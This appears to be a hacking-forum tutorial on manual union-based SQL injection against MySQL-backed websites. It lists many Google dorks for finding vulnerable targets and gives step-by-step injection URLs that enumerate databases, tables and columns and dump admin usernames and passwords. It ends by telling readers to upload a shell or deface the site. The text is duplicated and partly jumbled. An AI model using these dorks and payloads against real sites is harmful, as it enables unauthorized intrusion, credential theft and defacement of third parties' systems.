Hello HF, The last time I see too much threads with people asking for help with SQLi so I made this tutorial.
Lets start:
First you need a website to hack, you can find one with this dorks just put them in google and you will get some websites.
Some dorks:
In front of every dork has to be '''inurl:' without quotes. Some dorks has it already but not all the dorks, so you have to put them by yourself.
The next thing what you wanna know is: is the site vulnerable?
To know that you just have to put a ' after the url, so if the url is http://www.example.net/article.php?id=12 it has too look like http://www.example.com/index.php?id=12'
If you press enter you have to get an error if you don't get an error the site isn't vulnerable.
The next thing is getting the number of columns
After you find your vulnerable site the first step you need to take is
to find the number of columns. The easiest way to do this is
use the order: "order by". All you have to do is put ''order by (number)--''
without quotes at the end of your url. You don't have to write the parentheses. So it should look like this:
Code:
http://www.example.com/index.php?id=12 order by 10--
You want to start with ORDER BY 1-- and keep increasing the number by 1 until you get an error.
For example
Lets say on order by 9-- you get an error page. This means that the website has 8 columns.
The next think is: finding acsessable columns
Now we have the number of columns we need to get the column numbers that we can grab information from. We do this by by using the "Union" "select" and Number of columns. You put them together in your
url like this:
For the end part of the url, (1,2,3,4,5,6,7,8) You put the number of columns
you found in the first step. Since I found that the site I was testing had 8 columns I put 1,2,3,4,5,6,7,8. Also remeber to put a - infront of the id number.
The page should look a bit fucked up and there should be 2 numbers on the page. These two numbers are the colum numbers we can get information from. We will replace them with statements later on.
The next thing is: finding MySQL database version
The reasons you need the database name is to see weather or not the website is worth your time because any msql database under 5 you will have to blindly guess the table and column names. If you are a newbie and you find that the database is below 5 I urge you to find
a different site.
Now we take one of the numbers that we found from the step above and replace it with @@version
For Example, before our url looked like this
Now since we will replace the 1 with @@version
Press enter and now the page should display the database number.
Now the number that we had in the first step will be replaced with the database number. As it is shown above.
The next thing is: finding database names
Next we are going to inject the website to find the database names. We do this by replacing @@version
with group_concat(schema_name) and also add + from+information_schema.schemata-- after the last number in our url
So now our url should look like this:
It will list the database names. Now to find which one is currently in use replace group_concat(schema_name) with:
concat(database()) and delete + from+information_schema.schemata So the url should now look like this:
It will display which database is in use.
The next thing is: finding table names
To get table names of current database you need to replace concat(database()) with group_concat(table_name)
and add from information_schema.tables where table_schema=database() between the last number and the -- also remove the
+ signs from the union select. Now your url should look like this:
The page should now show the Table names.
The next thing is: finding column names
This is exactly like getting table names you just change table_name to column_name and information_schema.tables to information_schema.columns
So your url should look like this:
This should give you the column names.
Lets say they gave us back the cloumn names
admin_username
admin_password
The next thing is: getting information
Now we can have the database name, table names, and colomn names we can put them together and get information from them. To do this we need to put the following in our url:
Now replace columnname with the column names you want infomation from. The 0x3a will make a : to seperate the information for you. Put as many column names as you want to remeber to stick to the format. Also replace databasename.tablename
With the database name and the table name the column names were in. After all this your url should look like this:
Now you should get usernames and passwords for the admin.
All you have to do next is just upload your shell or replace the index.html file for your deface page.
That's all I hope you guys now know how to hack a website with SQLi. 🤝
Lets start:
First you need a website to hack, you can find one with this dorks just put them in google and you will get some websites.
Some dorks:
Code
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
buy.php?category=
article.php?ID=
play_old.php?id=
declaration_more.php?decl_id=
Pageid=
games.php?id=
page.php?file=
newsDetail.php?id=
gallery.php?id=
article.php?id=
play_old.php?id=
show.php?id=
staff_id=
newsitem.php?num=
readnews.php?id=
top10.php?cat=
historialeer.php?num=
reagir.php?num=
forum_bds.php?num=
game.php?id=
view_product.php?id=
newsone.php?id=
sw_comment.php?id=
news.php?id=
avd_start.php?avd=
event.php?id=
product-item.php?id=
sql.php?id=
news_view.php?id=
select_biblio.php?id=
humor.php?id=
aboutbook.php?id=
fiche_spectacle.php?id=
communique_detail.php?id=
sem.php3?id=
kategorie.php4?id=
faq2.php?id=
show_an.php?id=
preview.php?id=
loadpsb.php?id=
opinions.php?id=
spr.php?id=
pages.php?id=
announce.php?id=
clanek.php4?id=
participant.php?id=
download.php?id=
main.php?id=
review.php?id=
chappies.php?id=
read.php?id=
prod_detail.php?id=
viewphoto.php?id=
article.php?id=
play_old.php?id=
declaration_more.php?decl_id=
category.php?id=
publications.php?id=
fellows.php?id=
downloads_info.php?id=
prod_info.php?id=
shop.php?do=part&id=
Productinfo.php?id=
website.php?id=
Productinfo.php?id=
showimg.php?id=
view.php?id=
rub.php?idr=
view_faq.php?id=
artikelinfo.php?id=
detail.php?ID=
collectionitem.php?id=
band_info.php?id=
product.php?id=
releases.php?id=
ray.php?id=
produit.php?id=
pop.php?id=
shopping.php?id=
productdetail.php?id=
post.php?id=
viewshowdetail.php?id=
clubpage.php?id=
memberInfo.php?id=
section.php?id=
theme.php?id=
page.php?id=
shredder-categories.php?id=
tradeCategory.php?id=
shop_category.php?id=
transcript.php?id=
channel_id=
item_id=
newsid=
trainers.php?id=
buy.php?category=
article.php?ID=
play_old.php?id=
iniziativa.php?in=
detail_new.php?id=
tekst.php?idt=
newscat.php?id=
newsticker_info.php?idn=
rubrika.php?idr=
rubp.php?idr=
offer.php?idf=
hotel.php?id=
art.php?idm=
title.php?id=
look.php?ID=
story.php?id=
labels.php?id=
review.php?id=
chappies.php?id=
news-full.php?id=
news_display.php?getid=
index2.php?option=
ages.php?id=
"id=" & intext:"Warning: mysql_fetch_assoc()
"id=" & intext:"Warning: mysql_fetch_array()
"id=" & intext:"Warning: mysql_num_rows()
"id=" & intext:"Warning: session_start()
"id=" & intext:"Warning: getimagesize()
"id=" & intext:"Warning: Unknown()
"id=" & intext:"Warning: pg_exec()
"id=" & intext:"Warning: array_merge()
"id=" & intext:"Warning: mysql_result()
"id=" & intext:"Warning: mysql_num_rows()
"id=" & intext:"Warning: mysql_query()
"id=" & intext:"Warning: filesize()
"id=" & intext:"Warning: require()The next thing what you wanna know is: is the site vulnerable?
To know that you just have to put a ' after the url, so if the url is http://www.example.net/article.php?id=12 it has too look like http://www.example.com/index.php?id=12'
If you press enter you have to get an error if you don't get an error the site isn't vulnerable.
The next thing is getting the number of columns
After you find your vulnerable site the first step you need to take is
to find the number of columns. The easiest way to do this is
use the order: "order by". All you have to do is put ''order by (number)--''
without quotes at the end of your url. You don't have to write the parentheses. So it should look like this:
Code:
http://www.example.com/index.php?id=12 order by 10--
You want to start with ORDER BY 1-- and keep increasing the number by 1 until you get an error.
For example
Code
http://www.example.com/index.php?id=3 order by 1--
http://www.example.com/index.php?id=3 order by 2--
http://www.example.com/index.php?id=3 order by 3--
...
http://www.example.com/index.php?id=3 order by 9--The next think is: finding acsessable columns
Now we have the number of columns we need to get the column numbers that we can grab information from. We do this by by using the "Union" "select" and Number of columns. You put them together in your
url like this:
Code
http://www.example.com/index.php?id=-12+UNION+SELECT+1,2,3,4,5,6,7,8--you found in the first step. Since I found that the site I was testing had 8 columns I put 1,2,3,4,5,6,7,8. Also remeber to put a - infront of the id number.
The page should look a bit fucked up and there should be 2 numbers on the page. These two numbers are the colum numbers we can get information from. We will replace them with statements later on.
The next thing is: finding MySQL database version
The reasons you need the database name is to see weather or not the website is worth your time because any msql database under 5 you will have to blindly guess the table and column names. If you are a newbie and you find that the database is below 5 I urge you to find
a different site.
Now we take one of the numbers that we found from the step above and replace it with @@version
For Example, before our url looked like this
Code
http://www.example.com/index.php? id=-12+UNION+SELECT+1,2,3,4,5,6,7,8--Now since we will replace the 1 with @@version
Code
http://www.example.com/index.php?id=-12+UNION+SELECT+@@version,2,3,4,5,6,7,8--Press enter and now the page should display the database number.
Now the number that we had in the first step will be replaced with the database number. As it is shown above.
The next thing is: finding database names
Next we are going to inject the website to find the database names. We do this by replacing @@version
with group_concat(schema_name) and also add + from+information_schema.schemata-- after the last number in our url
So now our url should look like this:
Code
http://www.example.com/index.php?id=-12+UNION+SELECT+group_concat(schema_name),2,3,4,5,6,7,8+ from+information_schema.schemata--It will list the database names. Now to find which one is currently in use replace group_concat(schema_name) with:
concat(database()) and delete + from+information_schema.schemata So the url should now look like this:
Code
http://www.example.com/index.php?id=-12+UNION+SELECT+concat(database()),2,3,4,5,6,7,8--The next thing is: finding table names
To get table names of current database you need to replace concat(database()) with group_concat(table_name)
and add from information_schema.tables where table_schema=database() between the last number and the -- also remove the
+ signs from the union select. Now your url should look like this:
Code
http://www.example.com/index.php?id=-12 union select group_concat(table_name),2,3,4,5,6,7,8 from information_schema.tables where table_schema=database()--The page should now show the Table names.
The next thing is: finding column names
This is exactly like getting table names you just change table_name to column_name and information_schema.tables to information_schema.columns
So your url should look like this:
Code
http://www.example.com/index.php?id=-12 union select group_concat(column_name),2,3,4,5,6,7,8 from information_schema.columns where table_schema=database()--Lets say they gave us back the cloumn names
admin_username
admin_password
The next thing is: getting information
Now we can have the database name, table names, and colomn names we can put them together and get information from them. To do this we need to put the following in our url:
Code
http://www.example.com/index.php?id=-12 union select 1,group_concat(Columnname,0x3a,columnname,0x3a),2,3,4,5,6,7 from databasename.tablename--Now replace columnname with the column names you want infomation from. The 0x3a will make a : to seperate the information for you. Put as many column names as you want to remeber to stick to the format. Also replace databasename.tablename
With the database name and the table name the column names were in. After all this your url should look like this:
Code
http://www.example.com/index.php?id=-12 union select 1,group_concat(admin_username,0x3a,admin_password,0x3a),2,3,4,5,6,7,8 from whippit.t_admin--Now you should get usernames and passwords for the admin.
All you have to do next is just upload your shell or replace the index.html file for your deface page.
That's all I hope you guys now know how to hack a website with SQLi. 🤝
